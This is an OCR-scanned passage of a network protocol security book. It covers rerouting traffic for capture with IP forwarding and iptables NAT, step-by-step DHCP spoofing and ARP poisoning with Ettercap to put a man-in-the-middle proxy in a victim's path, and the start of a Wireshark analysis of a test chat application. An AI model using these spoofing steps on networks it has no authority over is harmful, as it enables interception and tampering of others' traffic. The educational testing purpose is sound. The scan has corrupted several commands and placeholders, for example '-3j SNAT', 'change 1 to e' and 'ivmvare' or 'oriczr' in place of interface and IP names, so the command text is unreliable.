Most of the advanced traffic-capturing techniques discussed in this
chapter use existing network infrastructure and protocols to redirect traffic.
None of the techniques require specialty hardware; all you’ll need are
software packages commonly found on various operating systems.

Rerouting Traffic

IP is a routed protocol; that is, none of the nodes on the network need to
know the exact location of any other nodes. Instead, when one node wants to
send traffic to another node that it isn’t directly connected to, it sends the
traffic to a gateway node, which forwards the traffic to the destination. A
gateway is also commonly called a router, a device that routes traffic from
one location to another.

For example, in Figure 4-1, the client 192.168.56.10 is trying to send
traffic to the server 10.1.1.10, but the client doesn’t have a direct connection
to the server. It first sends traffic destined for the server to Router A. In turn,
Router A sends the traffic to Router B, which has a direct connection to the
target server; Router B passes the traffic on to its final destination.

As with all nodes, the gateway node doesn’t know the traffic’s exact
destination, so it looks up the appropriate next gateway to send to. In this
case, Routers A and B only know about the two networks they are directly
connected to. To get from the client to the server, the traffic must be routed.
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Figure 4-1: An example of routed traffic

Using Traceroute

When tracing a route, you attempt to map the route that the IP traffic will
take to a particular destination. Most operating systems have built-in tools to
perform a trace, such as traceroute on most Unix-like platforms and tracert on

Windows.

Listing 4-1 shows the result of tracing the route to www.google.com from a
home internet connection.

C:\Users\user>tracert www.google.com

Tracing route to www.google.com [173.194.34.176]
over a maximum of 30 hops:

1 2 ms 2 ms 2 ms home.local [192.168.1.254]

2 15 ms 15 ms 15 ms 217.32.146.64

3 88 ms 15 ms 15 ms 217.32.146.110

4 16 ms 16 ms 15 ms 217.32.147.194

5 26 ms 15 ms 15 ms 217.41.168.79

6 16 ms 26 ms 16 ms 217.41.168.107

7 26 ms 15 ms 15 ms 109.159.249.94

8 18 ms 16 ms 15 ms 109.159.249.17

9 17 ms 28 ms 16 ms 62.6.201.173

10 17 ms 16 ms 16 ms 195.99.126.105

11 17 ms 17 ms 16 ms 209.85.252.188

12 17 ms 17 ms 17 ms 209.85.253.175

13 27 ms 17 ms 17 ms 1lhri14s22-in-f16.1e100.net [173.194.34.176]
Listing 4-1: Traceroute to www.google.com using the tracert tool

Each numbered line of output (1, 2, and so on) represents a unique
gateway routing traffic to the ultimate destination. The output refers to a
maximum number of hops. A single hop represents the network between each
gateway in the entire route. For example, there’s a hop between your
machine and the first router, another between that router and the next, and
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hops all the way to the final destination. If the maximum hop count is
exceeded, the traceroute process will stop probing for more routers. The
maximum hop can be specified to the trace route tool command line; specify
-h Num on Windows and -n Num on Unix-style systems.(The output also shows
the round-trip time from the machine performing the traceroute and the
discovered node.)

Routing Tables

The OS uses routing tables to figure out which gateways to send traffic to. A
routing table contains a list of destination networks and the gateway to route
traffic to. If a network is directly connected to the node sending the network
traffic, no gateway is required, and the network traffic can be transmitted
directly on the local network.

You can view your computer’s routing table by entering the command
netstat -r on most Unix-like systems or route print on Windows. Listing 4-2
shows the output from Windows when you execute this command.

> route print

IPv4 Route Table

Active Routes:

Network Destination Netmask Gateway Interface Metric
(1) 0.0.0.0 0.0.0.0 192.168.1.254 192.168.1.72 10
127.0.0.0 255.0.0.0 On-link 127.0.0.1 306

127.0.0.1 255.255.255.255 On-1link 127.0.0.1 306
127.255.255.255 255.255.255.255 On-1link 127.0.0.1 306
192.168.1.0 255.255.255.0 On-1link 192.168.1.72 266
192.168.1.72 255.255.255.255 On-1link 192.168.1.72 266
192.168.1.255 255.255.255.255 On-1link 192.168.1.72 266
224.0.0.0 240.0.0.0 On-link 127.0.0.1 306

224.0.0.0 240.0.0.0 On-link  192.168.56.1 276
224.0.0.0 240.0.0.0 On-link  192.168.1.72 266
255.255.255.255 255.255.255.255 On-1link 127.0.0.1 306
255.255.255.255 255.255.255.255 On-1link 192.168.56.1 276
255.255.255.255 255.255.255.255 On-1link 192.168.1.72 266

Listing 4-2: Example routing table output

As mentioned earlier, one reason routing is used is so that nodes don’t
need to know the location of all other nodes on the network. But what



happens to traffic when the gateway responsible for communicating with the
destination network isn’t known? In that case, it’s common for the routing
table to forward all unknown traffic to a default gateway. You can see the

default gateway at @, where the network destination is 0.0.0.0. This
destination is a placeholder for the default gateway, which simplifies the
management of the routing table. By using a placeholder, the table doesn’t
need to be changed if the network configuration changes, such as through a
DHCP configuration. Traffic sent to any destination that has no known
matching route will be sent to the gateway registered for the 0.0.0.0
placeholder address.

How can you use routing to your advantage? Let’s consider an embedded
system in which the operating system and hardware come as one single
device. You might not be able to influence the network configuration in an
embedded system as you might not even have access to the underlying
operating system, but if you can present your capturing device as a gateway
between the system generating the traffic and its ultimate destination, you
can capture the traffic on that system.

The following sections discuss ways to configure an OS to act as a
gateway to facilitate traffic capture.

Configuring a Router

By default, most operating systems do not route traffic directly between
network interfaces. This is mainly to prevent someone on one side of the
route from communicating directly with the network addresses on the other
side. If routing is not enabled in the OS configuration, any traffic sent to one
of the machine’s network interfaces that needs to be routed is instead
dropped or an error message is sent to the sender. The default configuration
is very important for security: imagine the implications if the router
controlling your connection to the internet routed traffic from the internet
directly to your private network.

Therefore, to enable an OS to perform routing, you need to make some
configuration changes as an administrator. Although each OS has different
ways of enabling routing, one aspect remains constant: you’ll need at least
two separate network interfaces installed in your computer to act as a router.
In addition, you’ll need routes on both sides of the gateway for routing to



function correctly. If the destination doesn’t have a corresponding route
back to the source device, communication might not work as expected. Once
routing is enabled, you can configure the network devices to forward traffic
via your new router. By running a tool such as Wireshark on the router, you
can capture traffic as it’s forwarded between the two network interfaces you
configured.

Enabling Routing on Windows

By default, Windows does not enable routing between network interfaces.
To enable routing on Windows, you need to modify the system registry.
You can do this by using a GUI registry editor, but the easiest way is to run
the following command as an administrator from the command prompt:

C> reg add HKLM\System\CurrentControlSet\Services\Tcpip\Parameters #
/v IPEnableRouter /t REG_DWORD /d 1

To turn off routing after you've finished capturing traffic, enter the
following command:

C> reg add HKLM\System\CurrentControlSet\Services\Tcpip\Parameters #
/v IPEnableRouter /t REG_DWORD /d 0

You’ll also need to reboot between command changes.

Be very careful when you’re modifying the Windows registry. Incorrect changes
could completely break Windows and prevent it from booting! Be sure to make a
system backup using a utility like the built-in Windows backup tool before
performing any dangerous changes.

Enabling Routing on *nix

To enable routing on Unix-like operating systems, you simply change the IP
routing system setting using the sysctl command. (Note that the instructions
for doing so aren’t necessarily consistent between systems, but you should be
able to easily find specific instructions.)



To enable routing on Linux for IPv4, enter the following command as
root (no need to reboot; the change is immediate):

# sysctl net.ipv4.conf.all.forwarding=1

To enable IPv6 routing on Linux, enter this:

# sysctl net.ipv6.conf.all.forwarding=1

You can revert the routing configuration by changing 1 to e in the
previous commands.

To enable routing on macOS, enter the following:

> sysctl -w net.inet.ip.forwarding=1

Network Address Translation

When trying to capture traffic, you may find that you can capture outbound
traffic but not returning traffic. The reason is that an upstream router
doesn’t know the route to the original source network; therefore, it either
drops the traffic entirely or forwards it to an unrelated network. You can
mitigate this situation by using Network Address Translation (NAT), a
technique that modifies the source and destination address information of IP
and higher-layer protocols, such as TCP. NAT is used extensively to extend
the limited IPv4 address space by hiding multiple devices behind a single
public IP address.

NAT can make network configuration and security easier, too. When
NAT is turned on, you can run as many devices behind a single NAT IP
address as you like and manage only that public IP address.

Two types of NAT are common today: Source NAT (SNAT) and
Destination NAT (DNAT). The differences between the two relate to which
address is modified during the NAT processing of the network traffic.
SNAT (also called masquerading) changes the IP source address information;
DNAT changes the destination address.

Enabling SNAT



When you want a router to hide multiple machines behind a single IP
address, you use SNA'T. When SNA'T is turned on, as traffic is routed across
the external network interface, the source IP address in the packets is
rewritten to match the single IP address made available by SNAT.

It can be useful to implement SNAT when you want to route traffic to a
network that you don’t control because, as you’ll recall, both nodes on the
network must have appropriate routing information for network traffic to be
sent between the nodes. In the worst case, if the routing information is
incorrect, traffic will flow in only one direction. Even in the best case, it’s
likely that you would be able to capture traffic only in one direction; the
other direction would be routed through an alternative path.

SNAT addresses this potential problem by changing the source address of
the traffic to an IP address that the destination node can route to—typically,
the one assigned to the external interface of the router. Thus, the destination
node can send traffic back in the direction of the router. Figure 4-2 shows a

simple example of SNAT.

Client (10.0.0.1) Router (1.1.1.1) Server (domain.com)
Traffic from 10.0.0.1 Traffic from 1.1.1.1
to domain.com to domain.com 4

Figure 4-2: An example of SNAT from a client to a server

When the client wants to send a packet to a server on a different network,
it sends it to the router that has been configured with SNAT. When the
router receives the packet from the client, the source address is the client’s
(10.0.0.1) and the destination is the server (the resolved address of
domain.com). It’s at this point that SNAT is used: the router modifies the
source address of the packet to its own (1.1.1.1) and then forwards the packet
to the server.

When the server receives this packet, it assumes the packet came from the
router; so, when it wants to send a packet back, it sends the packet to 1.1.1.1.
The router receives the packet, determines it came from an existing NAT
connection (based on destination address and port numbers), and reverts the
address change, converting 1.1.1.1 back to the original client address of
10.0.0.1. Finally, the packet can be forwarded back to the original client
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without the server needing to know about the client or how to route to its
network.

Configuring SNAT on Linux

Although you can configure SNAT on Windows and macOS using Internet
Connection Sharing, I'll only provide details on how to configure SNAT on
Linux because it’s the easiest platform to describe and the most flexible when
it comes to network configuration.

Before configuring SNAT, you need to do the following:

* Enable IP routing as described earlier in this chapter.

* Find the name of the outbound network interface on which you want to
configure SNAT. You can do so by using the ifconfig command. The
outbound interface might be named something like ethe.

* Note the IP address associated with the outbound interface when you use

ifconfig.

Now you can configure the NAT rules using the iptables. (The iptables
command is most likely already installed on your Linux distribution.) But
first, flush any existing NAT rules in iptables by entering the following
command as the root user:

# iptables -t nat -F

If the outbound network interface has a fixed address, run the following
commands as root to enable SNAT. Replace ivmvare with the name of your
outbound interface and zvrzp with the IP address assigned to that interface.

# iptables -t nat -A POSTROUTING -o INTNAME -3j SNAT --to INTIP

However, if the IP address is configured dynamically (perhaps using
DHCP or a dial-up connection), use the following command to
automatically determine the outbound IP address:

# iptables -t nat -A POSTROUTING -o INTNAME -j MASQUERADE

Enabling DNAT



DNAT is useful if you want to redirect traffic to a proxy or other service to
terminate it, or before forwarding the traffic to its original destination.
DNAT rewrites the destination IP address, and optionally, the destination
port. You can use DNAT to redirect specific traffic to a different
destination, as shown in Figure 4-3, which illustrates traffic being redirected
from both the router and the server to a proxy at 192.168.0.10 to perform a
man-in-the-middle analysis.

Client application Router Server (domain.com:1234)

Traffic to

e T DR — = Original route = = = o

DNAT to
192.168.0.10:8888

Redirected route 4

—

Proxy (192.168.0.10:8888)
Figure 4-3: An example of DNAT to a proxy

Figure 4-3 shows a client application sending traffic through a router that
is destined for domain.com on port 1234. When a packet is received at the
router, that router would normally just forward the packet to the original
destination. But because DNAT is used to change the packet’s destination
address and port to 192.168.0.10:8888, the router will apply its forwarding
rules and send the packet to a proxy machine that can capture the traffic.
The proxy then establishes a new connection to the server and forwards any
packets sent from the client to the server. All traffic between the original
client and the server can be captured and manipulated.

Configuring DNAT depends on the OS the router is running. (If your
router is running Windows, you’re probably out of luck because the
functionality required to support it isn’t exposed to the user.) Setup varies
considerably between different versions of Unix-like operating systems and
macQOS, so I'll only show you how to configure DNAT on Linux. First, flush
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any existing NA'T rules by entering the following command:

# iptables -t nat -F

Next, run the following command as the root user, replacing orzcrr
(originating IP) with the IP address to match traffic to and nvewze with the new
destination IP address you want that traffic to go to.

# iptables -t nat -A PREROUTING -d ORIGIP -j DNAT --to-destination NEWIP

The new NAT rule will redirect any packet routed to oriczr to wewrp.
(Because the DNA'T occurs prior to the normal routing rules on Linux, it’s
safe to choose a local network address; the DNAT rule will not affect traffic
sent directly from Linux.) To apply the rule only to a specific TCP or UDP,
change the command:

iptables -t nat -A PREROUTING -p PROTO -d ORIGIP --dport ORIGPORT -j DNAT \
--to-destination NEWIP:NEWPORT

The placeholder rroto (for protocol) should be either tcp or udp depending
on the IP protocol being redirected using the DNAT rule. The values for
or1czp (original IP) and wewzp are the same as earlier.

You can also configure orrcrort (the original port) and vewporT if you want
to change the destination port. If vewporT is not specified, only the IP address

will be changed.

Forwarding Traffic to a Gateway

You've set up your gateway device to capture and modify traffic. Everything
appears to be working properly, but there’s a problem: you can’t easily
change the network configuration of the device you want to capture. Also,
you have limited ability to change the network configuration the device is
connected to. You need some way to reconfigure or trick the sending device
into forwarding traffic through your gateway. You could accomplish this by
exploiting the local network by spoofing packets for either DHCP or Address
Resolution Protocol (ARP).



DHCP Spoofing

DHCP is designed to run on IP networks to distribute network
configuration information to nodes automatically. Therefore, if we can spoof
DHCP traffic, we can change a node’s network configuration remotely.
When DHCP is used, the network configuration pushed to a node can
include an IP address as well as the default gateway, routing tables, the
default DNS servers, and even additional custom parameters. If the device
you want to test uses DHCP to configure its network interface, this
flexibility makes it very easy to supply a custom configuration that will allow
easy network traffic capture.

DHCP uses the UDP protocol to send requests to and from a DHCP
service on the local network. Four types of DHCP packets are sent when
negotiating the network configuration:

Discover Sent to all nodes on the IP network to discover a DHCP server

Offer Sent by the DHCP server to the node that sent the discovery
packet to offer a network configuration

Request Sent by the originating node to confirm its acceptance of the
offer

Acknowledgment Sent by the server to confirm completion of the
configuration

The interesting aspect of DHCP is that it uses an unauthenticated,
connectionless protocol to perform configuration. Even if an existing DHCP
server is on a network, you may be able to spoof the configuration process
and change the node’s network configuration, including the default gateway
address, to one you control. This is called DHCP spoofing.

To perform DHCP spoofing, we’ll use Ettercap, a free tool that’s available
on most operating systems (although Windows isn’t officially supported).

1. On Linux, start Ettercap in graphical mode as the root user:

# ettercap -G

You should see the Ettercap GUI, as shown in Figure 4-4.
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File 5niff Options Help
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Figure 4-4: The main Ettercap GUI

2. Configure Ettercap’s sniffing mode by selecting Sniff » Unified
Sniffing.

3. The dialog shown in Figure 4-5 should prompt you to select the
network interface you want to sniff on. Select the interface connected to
the network you want to perform DHCP spoofing on. (Make sure the
network interface’s network is configured correctly because Ettercap
will automatically send the interface’s configured IP address as the
DHCP default gateway.)

- ettercap Input (as superuser)

' ? I Network interface : | eth0 | v

v OK | ® Cancel |

Figure 4-5: Selecting the sniffing interface

4. Enable DHCP spoofing by choosing Mitm » Dhcp spoofing. The



dialog shown in Figure 4-6 should appear, allowing you to configure the
DHCP spoofing options.

- MITM Attack: DHCP Spoofing (as nobody) =

—_— Server Information

IP Pool (optional) | 10.0.0.10-50

Netmask |255.0.0.0

DNS Server IP 192.168.1.1

" 0K & Cancel

Figure 4-6: Configuring DHCP spoofing

. The TP Pool field sets the range of IP addresses to hand out for
spoofing DHCP requests. Supply a range of IP addresses that you
configured for the network interface that is capturing traffic. For
example, in Figure 4-6, the IP Pool value is set to 10.0.0.10-50 (the dash
indicates all addresses inclusive of each value), so we’ll hand out IPs
from 10.0.0.10 to 10.0.0.50 inclusive. Configure the Netmask to match
your network interface’s netmask to prevent conflicts. Specify a DNS
server IP of your choice.

. Start sniffing by choosing Start » Start sniffing. If DHCP spoofing is
successful on the device, the Ettercap log window should look like

Figure 4-7. The crucial line is fake Ack sent by Ettercap in response to
the DHCP request.
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- ettercap NG-0.7.4.2 (as superuser)
Start Targets Hosts View Mitm Filters Logging Plugins Help

*EIEERCAP!
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DHCP spoofing: fake OFFER [08:00:27:68:95:C3] offering 10.0.0.11 3
DHCP: [10.0.0.1] OFFER : 10.0.0.11 255.0.0.0 GW 10.0.0.1 DNS 192.168.1.1

DHCP: [08:00:27:68:95:C3] DISCOVER

DHCP spoofing: fake OFFER [08:00:27:68:95:C3] offering 10.0.0.12

DHCP: [10.0.0.1] OFFER : 10.0.0.12 255.0.0.0 GW 10.0.0.1 DNS 192.168.1.1

DHCP: [08:00:27:68:95:C3] REQUEST 10.0.0.12

DHCP spoofing: fake ACK [08:00:27:68:95:C3] assigned to 10.0.0.12

DHCP: [10.0.0.1] ACK : 10.0.0.12 255.0.0.0 GW 10.0.0.1 DNS 192.168.1.1

Figure 4-7: Successful DHCP spoofing

That’s all there is to DHCP spoofing with Ettercap. It can be very
powerful if you don’t have any other option and a DHCP server is already
on the network you’re trying to attack.

ARP Poisoning

ARP is critical to the operation of IP networks running on Ethernet because
ARP finds the Ethernet address for a given IP address. Without ARP, it
would be very difficult to communicate IP traffic efficiently over Ethernet.
Here’s how ARP works: when one node wants to communicate with another
on the same Ethernet network, it must be able to map the IP address to an
Ethernet MAC address (which is how Ethernet knows the destination node
to send traffic to). The node generates an ARP request packet (see Figure 4-
8) containing the node’s 6-byte Ethernet MAC address, its current IP
address, and the target node’s IP address. The packet is transmitted on the
Ethernet network with a destination MAC address of ff:Af:Af:ff:ff:ff, which is



the defined broadcast address. Normally, an Ethernet device only processes
packets with a destination address that matches its address, but if it receives a
packet with the destination MAC address set to the broadcast address, it will
process it, too.

If one of the recipients of this broadcasted message has been assigned the
target IP address, it can now return an ARP response, as shown in Figure 4-
9. This response is almost exactly the same as the request except the sender
and target fields are reversed. Because the sender’s IP address should
correspond to the original requested target IP address, the original requestor
can now extract the sender’s MAC address and remember it for future
network communication without having to resend the ARP request.

@ Frame 261: 42 bytes on wire (336 bits), 42 bytes captured (336 bits) on interface 0
® Ethernet II, Src: CadmusCo_01:62:d7 (08:00:27:01:62:d7), Dst: Broadcast (ff:ff:ff:ff:.ff:ff)
= Address Resolution Protocol (request)

Hardware type: Ethernet (1)

Protocol type: IP (0x0800)

Hardware size: 6

Protocol size: 4

opcode: request (1)

sender MAC address: CadmusCo_01:62:d7 (08:00:27:01:62:d7)

sender IP address: 192.168.56.101 (192.168.56.101)

Target MAC address: 00:00:00_00:00:00 (00:00:00:00:00:00)

Target IP address: 192.168.56.1 (192.168.56.1)

Figure 4-8: An example ARP request packet

# Frame 262: 42 bytes on wire (336 bits), 42 bytes captured (336 bits) on interface 0
® Ethernet II, Src: CadmusCo_00:f4:8b (08:00:27:00:f4:8b), Dst: cadmusco_01:62:d7 (08:00:27:01:62:d7)
= Address Resolution Protocol (reply)

Hardware type: Ethernet (1)

Protocol type: IP (0x0800)

Hardware size: 6

Protocol size: 4

opcode: reply (2)

sender MAC address: CadmusCo_00:f4:8b (08:00:27:00:f4:8b)

sender IP address: 192.168.56.1 (192.168.56.1)

Target MAC address: CadmusCo_01:62:d7 (08:00:27:01:62:d7)

Target IP address: 192.168.56.101 (192.168.56.101)

Figure 4-9: An example ARP response

How can you use ARP poisoning to your advantage? As with DHCP,
there’s no authentication on ARP packets, which are intentionally sent to all
nodes on the Ethernet network. Therefore, you can inform the target node
you own an IP address and ensure the node forwards traffic to your rogue
gateway by sending spoofed ARP packets to poison the target node’s ARP
cache. You can use Ettercap to spoof the packets, as shown in Figure 4-10.



Network 192.168.100.0

Client: 192.168.100.1
MAC: 08:00:27:33:81:4d

'?’P,a

Router: 192.168.100.10

Redirected route MAC: 08:00:27:68:95:c3

Proxy (192.168.100.5)
MAC: 08:00:27:38:dceé

Figure 4-10: ARP poisoning

In Figure 4-10, Ettercap sends spoofed ARP packets to the client and the
router on the local network. If spoofing succeeds, these ARP packets will
change the cached ARP entries for both devices to point to your proxy.

Be sure to spoof ARP packets to both the client and the router to ensure that you
get both sides of the communication. Of course, if all you want is one side of the
communication, you only need to poison one or the other node.

To start ARP poisoning, follow these steps:

1. Start Ettercap, and enter Unified Sniffing mode as you did with
DHCP spoofing.

2. Select the network interface to poison (the one connected to the
network with the nodes you want to poison).

3. Contfigure a list of hosts to ARP poison. The easiest way to get a list of
hosts is to let Ettercap scan for you by choosing Hosts » Scan For
Hosts. Depending on the size of the network, scanning can take from a
few seconds to hours. When the scan is complete, choose Hosts » Host



List; a dialog like the one in Figure 4-11 should appear.

-

v ettercap NG-0.7.4.2 (as superuser)
Start Targets Hosts WView Mitm Filters Logging Plugins Help

Host List %

IP Address MAC Address Description
192.168.100.1 08:00:27:33:81:6D
192.168.100.10 08:00:27:68:95:C3

Delete Host . Add to Target 1

Add to Target 2

S - A

41 protocol dissectors

56 ports monitored
7587 mac vendor fingerprint
1766 tcp OS fingerprint
2183 known services
Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
2 hosts added to the hosts list...

Figure 4-11: A list of discovered hosts

As you can see in Figure 4-11, we’ve found two hosts. In this case,
one is the client node that you want to capture, which is on IP address
192.168.100.1 with a MAC address of 08:00:27:33:81:6d. The other
node is the gateway to the internet on IP address 192.168.100.10 with a
MAC address of 08:00:27:68:95:c3. Most likely, you'll already know the
IP addresses configured for each network device, so you can determine
which is the local machine and which is the remote machine.

. Choose your targets. Select one of the hosts from the list and click Add
to Target 1; select the other host you want to poison and click Add to
Target 2. (Target 1 and Target 2 differentiate between the client and
the gateway.) This should enable one-way ARP poisoning in which only
data sent from Target 1 to Target 2 is rerouted.

. Start ARP poisoning by choosing Mitm » ARP poisoning. A dialog
should appear. Accept the defaults and click OK. Ettercap should



attempt to poison the ARP cache of your chosen targets. ARP poisoning
may not work immediately because the ARP cache has to refresh. If
poisoning is successful, the client node should look similar to Figure 4-
12.

Terminal (as superuser) =]

File Edit WView Search Terminal Help
root@chalk:/home/tyranid# arp -n

Address HWtype HwWaddress Flags Mask Iface
192.168.100.5 ether P8:00:27:08:dc:eb C eth®
192.168.100.10 ether P8:00:27:08:dc:eb C ethi

root@chalk:/home/tyranid#

Figure 4-12: Successful ARP poisoning

Figure 4-12 shows the router was poisoned at IP 192.168.100.10, which
has had its MAC Hardware address modified to the proxy’s MAC address of
08:00:27:08:dc:e6. (For comparison, see the corresponding entry in Figure
4-11.) Now any traffic that is sent from the client to the router will instead
be sent to the proxy (shown by the MAC address of 192.168.100.5). The
proxy can forward the traffic to the correct destination after capturing or
modifying it.

One advantage that ARP poisoning has over DHCP spoofing is that you
can redirect nodes on the local network to communicate with your gateway
even if the destination is on the local network. ARP poisoning doesn’t have
to poison the connection between the node and the external gateway if you
don’t want it to.

Final Words

In this chapter, you've learned a few additional ways to capture and modify
traffic between a client and server. I began by describing how to configure
your OS as an IP gateway, because if you can forward traffic through your
own gateway, you have a number of techniques available to you.

Of course, just getting a device to send traffic to your network capture
device isn’t always easy, so employing techniques such as DHCP spoofing or
ARP poisoning is important to ensure that traffic is sent to your device
rather than directly to the internet. Fortunately, as you've seen, you don’t
need custom tools to do soj; all the tools you need are either already included



in your operating system (especially if you’re running Linux) or easily
downloadable.



5]
ANALYSIS FROM THE WIRE

In Chapter 2, I discussed how to capture network traffic for analysis. Now
it’s time to put that knowledge to the test. In this chapter, we’ll examine how
to analyze captured network protocol traffic from a chat application to
understand the protocol in use. If you can determine which features a
protocol supports, you can assess its security.

Analysis of an unknown protocol is typically incremental. You begin by
capturing network traffic, and then analyze it to try to understand what each
part of the traffic represents. Throughout this chapter, I'll show you how to
use Wireshark and some custom code to inspect an unknown network
protocol. Our approach will include extracting structures and state
information.

The Traffic-Producing Application: SuperFunkyChat

The test subject for this chapter is a chat application I've written in C# called
SuperFunkyChat, which will run on Windows, Linux, and macOS.
Download the latest prebuild applications and source code from the GitHub
page at https://github.com/tyranid/ExampleChatApplication/releases/; be sure to
choose the release binaries appropriate for your platform. (If you’re using
Mono, choose the .NET version, and so on.) The example client and server
console applications for SuperFunkyChat are called ChatClient and
ChatServer.

After you’ve downloaded the application, unpack the release files to a
directory on your machine so you can run each application. For the sake of
simplicity, all example command lines will use the Windows executable
binaries. If you’re running under Mono, prefix the command with the path
to the main mono binary. When running files for NET Core, prefix the
command with the dotner binary. The files for NET will have a .d/

extension instead of .exe.


https://github.com/tyranid/ExampleChatApplication/releases/

Starting the Server

Start the server by running ChatServer.exe with no parameters. If successtul,
it should print some basic information, as shown in Listing 5-1.

C:\SuperFunkyChat> ChatServer.exe

ChatServer (c) 2017 James Forshaw

WARNING: Don't use this for a real chat system!!!
Running server on port 12345 Global Bind False

Listing 5-1: Example output from running ChatServer

Pay attention to the warning! This application has not been designed to be a
secure chat system.

Notice in Listing 5-1 that the final line prints the port the server is
running on (12345 in this case) and whether the server has bound to all
interfaces (global). You probably won’t need to change the port (--port Num),
but you might need to change whether the application is bound to all
interfaces if you want clients and the server to exist on different computers.
This is especially important on Windows. It’s not easy to capture traffic to
the local loopback interface on Windows; if you encounter any difficulties,
you may need to run the server on a separate computer or a virtual machine
(VM). To bind to all interfaces, specify the --global parameter.

Starting Clients

With the server running, we can start one or more clients. To start a client,
run ChatClient.exe (see Listing 5-2), specify the username you want to use on
the server (the username can be anything you like), and specify the server
hostname (for example, locathost). When you run the client, you should see
output similar to that shown in Listing 5-2. If you see any errors, make sure
you've set up the server correctly, including requiring binding to all
interfaces or disabling the firewall on the server.

C:\SuperFunkyChat> ChatClient.exe USERNAME HOSTNAME
ChatClient (c) 2017 James Forshaw
WARNING: Don't use this for a real chat system!!!



Connecting to localhost:12345

Listing 5-2: Example output from running ChatClient

As you start the client, look at the running server: you should see output
on the console similar to Listing 5-3, indicating that the client has
successfully sent a “Hello” packet.

Connection from 127.0.0.1:49825
Receilved packet ChatProtocol.HelloProtocolPacket
Hello Packet for User: alice HostName: borax

Listing 5-3: The server output when a client connects

Communicating Between Clients

After you’ve completed the preceding steps successfully, you should be able
to connect multiple clients so you can communicate between them. To send
a message to all users with the ChatClient, enter the message on the
command line and press ENTER.

The ChatClient also supports a few other commands, which all begin
with a forward slash (/), as detailed in Table 5-1.

Table 5-1: Commands for the ChatClient Application

Command Description

/quit [message]  Quit client with optional message
/msg user message Send a message to a specific user
/list List other users on the system

/help Print help information

You're ready to generate traffic between the SuperFunkyChat clients and
server. Let’s start our analysis by capturing and inspecting some traffic using

Wireshark.

A Crash Course in Analysis with Wireshark

In Chapter 2, I introduced Wireshark but didn’t go into any detail on how to



use Wireshark to analyze rather than simply capture traffic. Because
Wireshark is a very powerful and comprehensive tool, I'll only scratch the
surface of its functionality here. When you first start Wireshark on
Windows, you should see a window similar to the one shown in Figure 5-1.
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Figure 5-1: The main Wireshark window on Windows

The main window allows you to choose the interface to capture traffic
from. To ensure we capture only the traffic we want to analyze, we need to
configure some options on the interface. Select Capture » Options from

the menu. Figure 5-2 shows the options dialog that opens.

M Wireshark - Capture Interfaces ? X
Input Output Options
Interface Traffic Link-layer Header  Promiscuous Sr
'Local Area Connection o Ethernet de
Bluetooth Network Connection Ethernet de
VirtualBox Host-Only Network #2 Ethernet de
< >
Enable promiscuous mode on all interfaces Manage Interfaces...
Capture filter for selected interfaces: [ |ip host 192.168.10.102 @ [X] '] Compile BPFs
Start Close Help




Figure 5-2: The Wireshark Capture Interfaces dialog

Select the network interface you want to capture traffic from, as shown at

@. Because we’re using Windows, choose Local Area Connection, which is
our main Ethernet connection; we can’t easily capture from Localhost. Then

set a capture filter @. In this case, we specify the filter ip host
192.168.10.102 to limit capture to traffic to or from the IP address
192.168.10.102. (The IP address we’re using is the chat server’s address.
Change the IP address as appropriate for your configuration.) Click the
Start button to begin capturing traffic.

Generating Network Traffic and Capturing Packets

The main approach to packet analysis is to generate as much traffic from the
target application as possible to improve your chances of finding its various
protocol structures. For example, Listing 5-4 shows a single session with
ChatClient for atice.

alice - Session

Hello There!

bob: I've just joined from borax

bob: How are you?

bob: This is nice isn't it?

bob: Woo

Server: 'bob' has quit, they said 'I'm going away now!'
bob: I've just joined from borax

bob: Back again for another round.

Server: 'bob' has quit, they said 'Nope!'’

/quit

Server: Don't let the door hit you on the way out!

ANV ANNNNANNANNANNANAMANYVH

Listing 5-4: Single ChatClient session for alice.

And Listing 5-5 and Listing 5-6 show two sessions for bob.

# bob - Session 1

> How are you?

> This is nice isn't it?

> [list

< User List

< alice - borax

> [msg alice Woo

> [quit

< Server: Don't let the door hit you on the way out!

Listing 5-5: First ChatClient session for bob



# bob - Session 2

>
>
<

Back again for another round.
/quit Nope!
Server: Don't let the door hit you on the way out!

Listing 5-6: Second ChatClient session for bob

We run two sessions for bob so we can capture any connection or

disconnection events that might only occur between sessions. In each
session, a right angle bracket (>) indicates a command to enter into the
ChatClient, and a left angle bracket (<) indicates responses from the server
being written to the console. You can execute the commands to the client for
each of these session captures to reproduce the rest of the results in this
chapter for analysis.

Now turn to Wireshark. If you’ve configured Wireshark correctly and

bound it to the correct interface, you should start seeing packets being

captured, as shown in Figure 5-3.
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Figure 5-3: Captured traffic in Wireshark

After running the example sessions, stop the capture by clicking the Stop

button (highlighted) and save the packets for later use if you want.



Basic Analysis

Let’s look at the traffic we've captured. To get an overview of the
communication that occurred during the capture period, choose among the
options on the Statistics menu. For example, choose Statistics »
Conversations, and you should see a new window displaying high-level
conversations such as TCP sessions, as shown in the Conversations window
in Figure 5-4.
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Figure 5-4: The Wireshark Conversations window

The Conversations window shows three separate TCP conversations in
the captured traffic. We know that the SuperFunkyChat client application
uses port 12345, because we see three separate TCP sessions coming from
port 12345. These sessions should correspond to the three client sessions
shown in Listing 5-4, Listing 5-5, and Listing 5-6.

Reading the Contents of a TCP Session

To view the captured traffic for a single conversation, select one of the
conversations in the Conversations window and click the Follow Stream
button. A new window displaying the contents of the stream as ASCII text
should appear, as shown in Figure 5-5.
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Figure 5-5: Displaying the contents of a TCP session in Wireshark’s Follow TCP Stream view

Wireshark replaces data that can’t be represented as ASCII characters
with a single dot character, but even with that character replacement, it’s
clear that much of the data is being sent in plaintext. That said, the network
protocol is clearly not exclusively a text-based protocol because the control
information for the data is nonprintable characters. The only reason we’re
seeing text is that SuperFunkyChat’s primary purpose is to send text
messages.

Wireshark shows the inbound and outbound traffic in a session using
different colors: pink for outbound traffic and blue for inbound. In a TCP
session, outbound traffic is from the client that initiated the TCP session,
and inbound traffic is from the TCP server. Because we’ve captured all
traffic to the server, let’s look at another conversation. To change the

conversation, change the Stream number @ in Figure 5-5 to 1. You should
now see a different conversation, for example, like the one in Figure 5-6.
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Figure 5-6: A second TCP session from a different client

Compare Figure 5-6 to Figure 5-5; you’ll see the details of the two
sessions are different. Some text sent by the client (in Figure 5-6), such as
“How are you?”, is shown as received by the server in Figure 5-5. Next, we’ll
try to determine what those binary parts of the protocol represent.

Identifying Packet Structure with Hex Dump

At this point, we know that our subject protocol seems to be part binary and
part text, which indicates that looking at just the printable text won’t be
enough to determine all the various structures in the protocol.

To dig in, we first return to Wireshark’s Follow TCP Stream view, as

